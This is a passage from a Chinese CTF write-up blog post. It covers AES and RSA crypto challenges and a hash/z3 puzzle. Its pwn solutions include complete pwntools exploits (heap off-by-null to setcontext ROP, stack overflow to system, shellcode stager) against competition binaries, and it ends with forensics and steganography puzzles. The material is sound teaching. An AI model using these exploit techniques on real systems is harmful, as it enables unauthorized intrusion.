    0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,
    0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,
    0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,
    0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,
    0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,
    0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5]

GF_MULT_3 = [
    0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,
    0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,
    0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,
    0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,
    0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,
    0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,
    0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,
    0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,
    0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,
    0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,
    0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,
    0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,
    0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,
    0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,
    0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,
    0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a]

GF_MULT_09 = [
    0x00, 0x09, 0x12, 0x1b, 0x24, 0x2d, 0x36, 0x3f, 0x48, 0x41, 0x5a, 0x53, 0x6c, 0x65, 0x7e, 0x77,
    0x90, 0x99, 0x82, 0x8b, 0xb4, 0xbd, 0xa6, 0xaf, 0xd8, 0xd1, 0xca, 0xc3, 0xfc, 0xf5, 0xee, 0xe7,
    0x3b, 0x32, 0x29, 0x20, 0x1f, 0x16, 0x0d, 0x04, 0x73, 0x7a, 0x61, 0x68, 0x57, 0x5e, 0x45, 0x4c,
    0xab, 0xa2, 0xb9, 0xb0, 0x8f, 0x86, 0x9d, 0x94, 0xe3, 0xea, 0xf1, 0xf8, 0xc7, 0xce, 0xd5, 0xdc,
    0x76, 0x7f, 0x64, 0x6d, 0x52, 0x5b, 0x40, 0x49, 0x3e, 0x37, 0x2c, 0x25, 0x1a, 0x13, 0x08, 0x01,
    0xe6, 0xef, 0xf4, 0xfd, 0xc2, 0xcb, 0xd0, 0xd9, 0xae, 0xa7, 0xbc, 0xb5, 0x8a, 0x83, 0x98, 0x91,
    0x4d, 0x44, 0x5f, 0x56, 0x69, 0x60, 0x7b, 0x72, 0x05, 0x0c, 0x17, 0x1e, 0x21, 0x28, 0x33, 0x3a,
    0xdd, 0xd4, 0xcf, 0xc6, 0xf9, 0xf0, 0xeb, 0xe2, 0x95, 0x9c, 0x87, 0x8e, 0xb1, 0xb8, 0xa3, 0xaa,
    0xec, 0xe5, 0xfe, 0xf7, 0xc8, 0xc1, 0xda, 0xd3, 0xa4, 0xad, 0xb6, 0xbf, 0x80, 0x89, 0x92, 0x9b,
    0x7c, 0x75, 0x6e, 0x67, 0x58, 0x51, 0x4a, 0x43, 0x34, 0x3d, 0x26, 0x2f, 0x10, 0x19, 0x02, 0x0b,
    0xd7, 0xde, 0xc5, 0xcc, 0xf3, 0xfa, 0xe1, 0xe8, 0x9f, 0x96, 0x8d, 0x84, 0xbb, 0xb2, 0xa9, 0xa0,
    0x47, 0x4e, 0x55, 0x5c, 0x63, 0x6a, 0x71, 0x78, 0x0f, 0x06, 0x1d, 0x14, 0x2b, 0x22, 0x39, 0x30,
    0x9a, 0x93, 0x88, 0x81, 0xbe, 0xb7, 0xac, 0xa5, 0xd2, 0xdb, 0xc0, 0xc9, 0xf6, 0xff, 0xe4, 0xed,
    0x0a, 0x03, 0x18, 0x11, 0x2e, 0x27, 0x3c, 0x35, 0x42, 0x4b, 0x50, 0x59, 0x66, 0x6f, 0x74, 0x7d,
    0xa1, 0xa8, 0xb3, 0xba, 0x85, 0x8c, 0x97, 0x9e, 0xe9, 0xe0, 0xfb, 0xf2, 0xcd, 0xc4, 0xdf, 0xd6,
    0x31, 0x38, 0x23, 0x2a, 0x15, 0x1c, 0x07, 0x0e, 0x79, 0x70, 0x6b, 0x62, 0x5d, 0x54, 0x4f, 0x46]

GF_MULT_11 = [
    0x00, 0x0b, 0x16, 0x1d, 0x2c, 0x27, 0x3a, 0x31, 0x58, 0x53, 0x4e, 0x45, 0x74, 0x7f, 0x62, 0x69,
    0xb0, 0xbb, 0xa6, 0xad, 0x9c, 0x97, 0x8a, 0x81, 0xe8, 0xe3, 0xfe, 0xf5, 0xc4, 0xcf, 0xd2, 0xd9,
    0x7b, 0x70, 0x6d, 0x66, 0x57, 0x5c, 0x41, 0x4a, 0x23, 0x28, 0x35, 0x3e, 0x0f, 0x04, 0x19, 0x12,
    0xcb, 0xc0, 0xdd, 0xd6, 0xe7, 0xec, 0xf1, 0xfa, 0x93, 0x98, 0x85, 0x8e, 0xbf, 0xb4, 0xa9, 0xa2,
    0xf6, 0xfd, 0xe0, 0xeb, 0xda, 0xd1, 0xcc, 0xc7, 0xae, 0xa5, 0xb8, 0xb3, 0x82, 0x89, 0x94, 0x9f,
    0x46, 0x4d, 0x50, 0x5b, 0x6a, 0x61, 0x7c, 0x77, 0x1e, 0x15, 0x08, 0x03, 0x32, 0x39, 0x24, 0x2f,
    0x8d, 0x86, 0x9b, 0x90, 0xa1, 0xaa, 0xb7, 0xbc, 0xd5, 0xde, 0xc3, 0xc8, 0xf9, 0xf2, 0xef, 0xe4,
    0x3d, 0x36, 0x2b, 0x20, 0x11, 0x1a, 0x07, 0x0c, 0x65, 0x6e, 0x73, 0x78, 0x49, 0x42, 0x5f, 0x54,
    0xf7, 0xfc, 0xe1, 0xea, 0xdb, 0xd0, 0xcd, 0xc6, 0xaf, 0xa4, 0xb9, 0xb2, 0x83, 0x88, 0x95, 0x9e,
    0x47, 0x4c, 0x51, 0x5a, 0x6b, 0x60, 0x7d, 0x76, 0x1f, 0x14, 0x09, 0x02, 0x33, 0x38, 0x25, 0x2e,
    0x8c, 0x87, 0x9a, 0x91, 0xa0, 0xab, 0xb6, 0xbd, 0xd4, 0xdf, 0xc2, 0xc9, 0xf8, 0xf3, 0xee, 0xe5,
    0x3c, 0x37, 0x2a, 0x21, 0x10, 0x1b, 0x06, 0x0d, 0x64, 0x6f, 0x72, 0x79, 0x48, 0x43, 0x5e, 0x55,
    0x01, 0x0a, 0x17, 0x1c, 0x2d, 0x26, 0x3b, 0x30, 0x59, 0x52, 0x4f, 0x44, 0x75, 0x7e, 0x63, 0x68,
    0xb1, 0xba, 0xa7, 0xac, 0x9d, 0x96, 0x8b, 0x80, 0xe9, 0xe2, 0xff, 0xf4, 0xc5, 0xce, 0xd3, 0xd8,
    0x7a, 0x71, 0x6c, 0x67, 0x56, 0x5d, 0x40, 0x4b, 0x22, 0x29, 0x34, 0x3f, 0x0e, 0x05, 0x18, 0x13,
    0xca, 0xc1, 0xdc, 0xd7, 0xe6, 0xed, 0xf0, 0xfb, 0x92, 0x99, 0x84, 0x8f, 0xbe, 0xb5, 0xa8, 0xa3]

GF_MULT_13 = [
    0x00, 0x0d, 0x1a, 0x17, 0x34, 0x39, 0x2e, 0x23, 0x68, 0x65, 0x72, 0x7f, 0x5c, 0x51, 0x46, 0x4b,
    0xd0, 0xdd, 0xca, 0xc7, 0xe4, 0xe9, 0xfe, 0xf3, 0xb8, 0xb5, 0xa2, 0xaf, 0x8c, 0x81, 0x96, 0x9b,
    0xbb, 0xb6, 0xa1, 0xac, 0x8f, 0x82, 0x95, 0x98, 0xd3, 0xde, 0xc9, 0xc4, 0xe7, 0xea, 0xfd, 0xf0,
    0x6b, 0x66, 0x71, 0x7c, 0x5f, 0x52, 0x45, 0x48, 0x03, 0x0e, 0x19, 0x14, 0x37, 0x3a, 0x2d, 0x20,
    0x6d, 0x60, 0x77, 0x7a, 0x59, 0x54, 0x43, 0x4e, 0x05, 0x08, 0x1f, 0x12, 0x31, 0x3c, 0x2b, 0x26,
    0xbd, 0xb0, 0xa7, 0xaa, 0x89, 0x84, 0x93, 0x9e, 0xd5, 0xd8, 0xcf, 0xc2, 0xe1, 0xec, 0xfb, 0xf6,
    0xd6, 0xdb, 0xcc, 0xc1, 0xe2, 0xef, 0xf8, 0xf5, 0xbe, 0xb3, 0xa4, 0xa9, 0x8a, 0x87, 0x90, 0x9d,
    0x06, 0x0b, 0x1c, 0x11, 0x32, 0x3f, 0x28, 0x25, 0x6e, 0x63, 0x74, 0x79, 0x5a, 0x57, 0x40, 0x4d,
    0xda, 0xd7, 0xc0, 0xcd, 0xee, 0xe3, 0xf4, 0xf9, 0xb2, 0xbf, 0xa8, 0xa5, 0x86, 0x8b, 0x9c, 0x91,
    0x0a, 0x07, 0x10, 0x1d, 0x3e, 0x33, 0x24, 0x29, 0x62, 0x6f, 0x78, 0x75, 0x56, 0x5b, 0x4c, 0x41,
    0x61, 0x6c, 0x7b, 0x76, 0x55, 0x58, 0x4f, 0x42, 0x09, 0x04, 0x13, 0x1e, 0x3d, 0x30, 0x27, 0x2a,
    0xb1, 0xbc, 0xab, 0xa6, 0x85, 0x88, 0x9f, 0x92, 0xd9, 0xd4, 0xc3, 0xce, 0xed, 0xe0, 0xf7, 0xfa,
    0xb7, 0xba, 0xad, 0xa0, 0x83, 0x8e, 0x99, 0x94, 0xdf, 0xd2, 0xc5, 0xc8, 0xeb, 0xe6, 0xf1, 0xfc,
    0x67, 0x6a, 0x7d, 0x70, 0x53, 0x5e, 0x49, 0x44, 0x0f, 0x02, 0x15, 0x18, 0x3b, 0x36, 0x21, 0x2c,
    0x0c, 0x01, 0x16, 0x1b, 0x38, 0x35, 0x22, 0x2f, 0x64, 0x69, 0x7e, 0x73, 0x50, 0x5d, 0x4a, 0x47,
    0xdc, 0xd1, 0xc6, 0xcb, 0xe8, 0xe5, 0xf2, 0xff, 0xb4, 0xb9, 0xae, 0xa3, 0x80, 0x8d, 0x9a, 0x97]

GF_MULT_14 = [
    0x00, 0x0e, 0x1c, 0x12, 0x38, 0x36, 0x24, 0x2a, 0x70, 0x7e, 0x6c, 0x62, 0x48, 0x46, 0x54, 0x5a,
    0xe0, 0xee, 0xfc, 0xf2, 0xd8, 0xd6, 0xc4, 0xca, 0x90, 0x9e, 0x8c, 0x82, 0xa8, 0xa6, 0xb4, 0xba,
    0xdb, 0xd5, 0xc7, 0xc9, 0xe3, 0xed, 0xff, 0xf1, 0xab, 0xa5, 0xb7, 0xb9, 0x93, 0x9d, 0x8f, 0x81,
    0x3b, 0x35, 0x27, 0x29, 0x03, 0x0d, 0x1f, 0x11, 0x4b, 0x45, 0x57, 0x59, 0x73, 0x7d, 0x6f, 0x61,
    0xad, 0xa3, 0xb1, 0xbf, 0x95, 0x9b, 0x89, 0x87, 0xdd, 0xd3, 0xc1, 0xcf, 0xe5, 0xeb, 0xf9, 0xf7,
    0x4d, 0x43, 0x51, 0x5f, 0x75, 0x7b, 0x69, 0x67, 0x3d, 0x33, 0x21, 0x2f, 0x05, 0x0b, 0x19, 0x17,
    0x76, 0x78, 0x6a, 0x64, 0x4e, 0x40, 0x52, 0x5c, 0x06, 0x08, 0x1a, 0x14, 0x3e, 0x30, 0x22, 0x2c,
    0x96, 0x98, 0x8a, 0x84, 0xae, 0xa0, 0xb2, 0xbc, 0xe6, 0xe8, 0xfa, 0xf4, 0xde, 0xd0, 0xc2, 0xcc,
    0x41, 0x4f, 0x5d, 0x53, 0x79, 0x77, 0x65, 0x6b, 0x31, 0x3f, 0x2d, 0x23, 0x09, 0x07, 0x15, 0x1b,
    0xa1, 0xaf, 0xbd, 0xb3, 0x99, 0x97, 0x85, 0x8b, 0xd1, 0xdf, 0xcd, 0xc3, 0xe9, 0xe7, 0xf5, 0xfb,
    0x9a, 0x94, 0x86, 0x88, 0xa2, 0xac, 0xbe, 0xb0, 0xea, 0xe4, 0xf6, 0xf8, 0xd2, 0xdc, 0xce, 0xc0,
    0x7a, 0x74, 0x66, 0x68, 0x42, 0x4c, 0x5e, 0x50, 0x0a, 0x04, 0x16, 0x18, 0x32, 0x3c, 0x2e, 0x20,
    0xec, 0xe2, 0xf0, 0xfe, 0xd4, 0xda, 0xc8, 0xc6, 0x9c, 0x92, 0x80, 0x8e, 0xa4, 0xaa, 0xb8, 0xb6,
    0x0c, 0x02, 0x10, 0x1e, 0x34, 0x3a, 0x28, 0x26, 0x7c, 0x72, 0x60, 0x6e, 0x44, 0x4a, 0x58, 0x56,
    0x37, 0x39, 0x2b, 0x25, 0x0f, 0x01, 0x13, 0x1d, 0x47, 0x49, 0x5b, 0x55, 0x7f, 0x71, 0x63, 0x6d,
    0xd7, 0xd9, 0xcb, 0xc5, 0xef, 0xe1, 0xf3, 0xfd, 0xa7, 0xa9, 0xbb, 0xb5, 0x9f, 0x91, 0x83, 0x8d]


def inv_subWord(byteArray):
    res = bytearray()

    for b in byteArray:
        res.append(S_INV_BOX[b])

    return res


def inv_subBytes(aesState):
    resState = bytearray()

    for i in range(0, len(aesState), 4):
        resState[i:i + 4] = inv_subWord(aesState[i:i + 4])

    return resState


def inv_shiftRow(aesState):
    resState = bytearray()

    """
    0 4 8 c        0 4 8 c
    1 5 9 d        d 1 5 9
    2 6 a e    ->  a e 2 6
    3 7 b f        7 b f 3
    """

    newPosition = [0, 0xd, 0xa, 7,
                   4, 1, 0xe, 0xb,
                   8, 5, 2, 0xf,
                   0xc, 9, 6, 3
                   ]

    for i in newPosition:
        resState.append(aesState[i])

    return resState


def inv_mixColumn(aesState):
    res = bytearray()

    for i in range(0, len(aesState), 4):
        b0, b1, b2, b3 = aesState[i:(i + 4)]

        new_b0 = GF_MULT_14[b0] ^ GF_MULT_11[b1] ^ GF_MULT_13[b2] ^ GF_MULT_09[b3]
        new_b1 = GF_MULT_09[b0] ^ GF_MULT_14[b1] ^ GF_MULT_11[b2] ^ GF_MULT_13[b3]
        new_b2 = GF_MULT_13[b0] ^ GF_MULT_09[b1] ^ GF_MULT_14[b2] ^ GF_MULT_11[b3]
        new_b3 = GF_MULT_11[b0] ^ GF_MULT_13[b1] ^ GF_MULT_09[b2] ^ GF_MULT_14[b3]

        res.append(new_b0)
        res.append(new_b1)
        res.append(new_b2)
        res.append(new_b3)

    return res


def AES_Decryption(cipherText, AES_key, nbRound):
    res = cipherText

    res = inv_shiftRow(res)

    res = inv_subBytes(res)

    for i in range(nbRound - 1, 0, -1):
        res = inv_mixColumn(res)

        res = inv_shiftRow(res)

        res = inv_subBytes(res)

    return res


def main():
    AES_Key = None

    with open("cipher.txt", "rb") as f_in:
        cipherText = f_in.read()

    secondPlainText = AES_Decryption(cipherText, AES_Key, 10)

    print(secondPlainText)


if __name__ == '__main__':
    main()
# SangFor{cb4_k27}

Bigrsa

脚本e,m相同,两个n有GCD,套脚本检验后发现,存在两个或更多模数 ,且
gcd(n1,n2)≠1
多个模数 n共用质数,则可以很容易利用欧几里得算法求得他们的质因数之一 gcd(n1,n2),然后这个最大公约数可用于分解模数分别得到对应的 p 和 q,即可进行解密

import gmpy2
from Crypto.Util.number import long_to_bytes

n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073

GCD = gmpy2.gcd(n1, n2)
assert (GCD != 1)
q1 = n1 // GCD
q2 = n2 // GCD

e = 0x10001
d1 = gmpy2.invert(e, (GCD - 1) * (q1 - 1))
d2 = gmpy2.invert(e, (GCD - 1) * (q2 - 1))

c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264

m1 = pow(c, d2, n2)
m2 = pow(m1, d1, n1)

print(long_to_bytes(m2))

Easy_RSA

根据题目可得,p-1和q-1存在一个较大的因数2g,

from Crypto.Util.number import *

def f(x, n):
    return (pow(x, n - 1, n) + 3) % n


def rho(n):
    i = 1
    while True:
        a = getRandomRange(2, n)
        b = f(a, n)
        j = 1
        while True:
            p = GCD(abs(a - b), n)
            if p == n:
                break
            elif p > 1:
                return (p, n // p)
            else:
                a = f(a, n)
                b = f(f(b, n), n)
            j += 1
        i += 1


n = 84236796025318186855187782611491334781897277899439717384242559751095347166978304126358295609924321812851255222430530001043539925782811895605398187299748256080526691975084042025794113521587064616352833904856626744098904922117855866813505228134381046907659080078950018430266048447119221001098505107823645953039
print(rho(n))

可以解出p和q,
(9983140483800634632426126985832058062766650402234684899412786169759602188949733747138853010482968306554808689182393249326088351886439191015684338347893201L, 8437905502983445042677582637893534375137565614989838462475696727313788501904161403475771835934720130340799646782932619714906025013322551788559197469878239L)
剩下就直接套脚本了:

from Crypto.Util.number import *
import gmpy2
p = 9983140483800634632426126985832058062766650402234684899412786169759602188949733747138853010482968306554808689182393249326088351886439191015684338347893201
q = 8437905502983445042677582637893534375137565614989838462475696727313788501904161403475771835934720130340799646782932619714906025013322551788559197469878239

e = 58337
c = 13646200911032594651110040891135783560995665642049282201695300382255436792102048169200570930229947213493204600006876822744757042959653203573780257603577712302687497959686258542388622714078571068849217323703865310256200818493894194213812410547780002879351619924848073893321472704218227047519748394961963394668

n = p * q

n_ol = (p-1)*(q-1)

d = gmpy2.invert(e,n_ol)
m = gmpy2.powmod(c,d,n)
print(long_to_bytes(m))


SangFor{0a8c2220-4c1b-32c8-e8c1-adf92ec7678b}

RingRingRing

nc连上是一个哈希的验证

可以爆破

for i in range(999999):
    captcha = hashlib.md5((str(i)+'b588').encode()).hexdigest()
    if captcha[:5] == 'e81b9':
        print(captcha)
        ans = i
        print(i)
        break


验证通过后是求解一个等式

可以用z3来解

from z3 import *
x1 = Int('a')
x2 = Int('b')
x3 = Int('c')
x4 = Int('d')
x5 = Int('e')
s = Solver()

for i in range(100):
        s.add(x1**4+x2**4+x3**4+x4**4 == x5**2)
        s.add(x1 > i, x2 > i, x3 > i, x4 > i, x5 > i)
        print(s.check())
        m = s.model()
        print(m)

之后组合爆破和z3的脚本打远程

from pwn import *
context.log_level = 'debug'

p = remote("192.168.39.9", 2378)
p.recvuntil("str + ")
str1 = p.recv(4)
str1 = bytes.decode(str1)
p.recvuntil("== ")
str2 = p.recv(5)
str2 = bytes.decode(str2)


for i in range(999999):
    captcha = hashlib.md5((str(i)+str1).encode()).hexdigest()
    if captcha[:5] == str2:
        ans = i
        break

p.sendline(str(i))

l = [2,8,18,32,50,72,98,128,162,200,288,338,392,450,512,578,648,722,800,882,968,1058,1152,1250,1352,1458,1568,1682,1800,1922,2048,2178,2312,2450,2592,2738,2888,3042,3200,3362,3528,3698,3872,4050,4232,4418,4608,4802,5000,5202,5408,5618,5832,6050,6272,6498,6728,6962,7200,7442,7688,7938,8192,8450,8712,8978,9248,9522,9800,10082,10368,10658,10952,11250,11552,11858,12168,12482,12800,13122,13448,13778,14112,14450,14792,15138,15488,15842,16200,16562,16928,17298,17672,18050,18432,18818,19208,19602,20000,20402]


for i in range(1, 101):
        j = i
        if i >= 11:
                i += 1
        p.sendlineafter('a: ', str(i))
        p.sendlineafter('b: ', str(i))
        p.sendlineafter('c: ', str(i))
        p.sendlineafter('d: ', str(i))
        p.sendlineafter('e: ', str(l[j-1]))

p.interactive()


GWHT{a_funny_equation}

Pwn

What's your name

程序自己在edit中实现了一个read功能的函数,存在off by null,开启了沙箱,根据堆风水,申请一个在unsorted bin中的chunk泄露libc,接着通过构造堆块重叠将控制堆块中puts的函数指针改成setcontext+53进行orw读取flag

from pwn import *

context.log_level = 'debug'
binary = './name'
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc.so.6')
local = 0
if local:
        p = process(binary)
else:
        p = remote('192.168.39.9', 9999)
# gdb.attach(p)

def add(size):
        p.sendline('1')
        p.sendlineafter('size:', str(size))

def edit(index, content):
        p.sendline('2')
        p.sendlineafter('index:', str(index))
        p.sendafter('name:', content)

def show(index):
        p.sendline('3')
        p.sendlineafter('index:', str(index))

def free(index):
        p.sendline('4')
        p.sendlineafter('index:', str(index))


add(0xe0)                #0
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
success('libc_base -> {}'.format(hex(libc_base)))
setcontext = libc_base + libc.sym['setcontext'] + 53

add(0xf8)                #1
show(1)
add(0x38)                #2
add(0xf8)                #3
add(0x38)                #4
free(1)
edit(2, 'a'*0x30 + p64(0x140))
free(3)
add(0x58)                #1
add(0x58)                #3
add(0x38)                #5
add(0x100)                #6
free(1)
free(3)
add(0x58)                #1
show(1)

heap_base = u64(p.recvuntil('1.set name', drop=True)[-7:-1].ljust(8, '\x00')) + 0x130
success('heap_base -> {}'.format(hex(heap_base)))
edit(2, p64(setcontext) + p64(heap_base))
# show(6)

pop_rdi = libc_base + 0x21112
pop_rsi = libc_base + 0x202f8
pop_rdx = libc_base + 0x1b92
pop_rax = libc_base + 0x3a738
syscall_ret = libc_base + 0xF73BE
ret = libc_base + 0x937
Read = libc_base + 0xF7359#libc.sym['read']
Write = libc_base + libc.sym['write']

#open
payload = p64(pop_rdi) + p64(heap_base+0x98) 
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rax) + p64(2)
payload += p64(syscall_ret)

#read
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(heap_base)
payload += p64(pop_rdx) + p64(0x40)
payload += p64(libc_base + 0x3a738) + p64(0)
payload += p64(syscall_ret)

#write
payload += p64(pop_rdi) + p64(1)
payload += p64(Write)
payload += './flag'.ljust(8, '\x00')
payload = payload.ljust(0xa0, '\x00')
payload += p64(heap_base) + p64(ret) 

edit(6, payload)
show(6)
p.interactive()


Sangfor{jXkygJFsJdtHwUV2qrXG27B04gXP5jXs}

BabyRop

明显的栈溢出,程序中有system,截取sh做为参数

from pwn import *

context.log_level = 'debug'
binary = './BabyRop'
elf = ELF(binary)
libc = elf.libc
local = 0
if local:
        p = process(binary)
else:
        p = remote('192.168.39.9', 11000)

# gdb.attach(p)

payload = 'a' * 0x2c + p32(0x080491EF) + p32(0x0804c029)
p.sendline(payload)

p.interactive()        


Sangfor{jXkygJFsJdtsG1OCCvmMyoa8B+4PrYjY}

nologin

程序中admin功能存在栈溢出,但溢出字节受限,没法写入所有shellcode,通过写入shellcode mov rdx, r11;xor rax, rax;syscall,并jmp rsp再次进行read系统调用,把shellcode写到栈上进行orw

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

binary = './nologin'
elf = ELF(binary)
libc = elf.libc
local = 0
if local:
        p = process(binary)
else:
        p = remote('192.168.39.9', 40001)

# gdb.attach(p, 'b *0x401007')
payload = 'a' * 13 + p64(0x4016fb)
#        mov rdx, r11        xor rax, rax        syscall
payload += '\x4C\x89\xDA\x48\x31\xC0\x0F\x05' 
p.sendlineafter('input>> \n', '2')
p.sendlineafter('password: \n', payload)


shellcode =  asm(shellcraft.open('flag'))
shellcode += asm(shellcraft.read(4, 'rsp', 0x30))
shellcode += asm(shellcraft.write(1, 'rsp', 0x30))
payload = 'a' * 65 + shellcode

p.sendline(payload)
p.interactive()


Sangfor{jXkygJFsJdu8AAm2W9y4P0iv565Meupw}

MISC

签到题

题目是一个gif文件,用StegSolve的frame browser打开
根据题目提示,猜01-30的数字,一共12张图,每张图对应一个数字,然后用MD5加密一下

28

08

08

07

04

20

02

17

23

01

12

19
md5(28-08-30-07-04-20-02-17-23-01-12-19)加上SangFor即是flag

Baby--forenisc

用volatility发现几句话,可以看到出题人把flag文件pull到github了,估计是要找出题人的github账户

发现桌面有ssh的私钥文件

用base64解码

发现一个邮箱,去github搜,找到了出题人的账户,把__APP__下载下来

用vscode打开,发现flag信息

base64解码

赛博德国人

打开流量包,发现一个pdf,提取出来

然后打开有密码


密码是FTP的登录密码

打开发现是恩尼格码密码机的密码本

流量包里有加密文本
下载一个恩尼格码密码机的模拟器,http://users.telenet.be/d.rijmenants/en/enigmasim.htm,根据网页上的教程解密上面的文本

最后得到

在谷歌搜了一下,发现是德文的阿拉伯数字

最后得到一串acii:475748547b36623936373230356665373537393566313034383537316366346366623730337d
解码得到flag
GWHT{6b967205fe75795f1048571cf4cfb703}

posted @ 2021-10-05 21:55  twosmi1e  阅读(522)  评论(0编辑  收藏  举报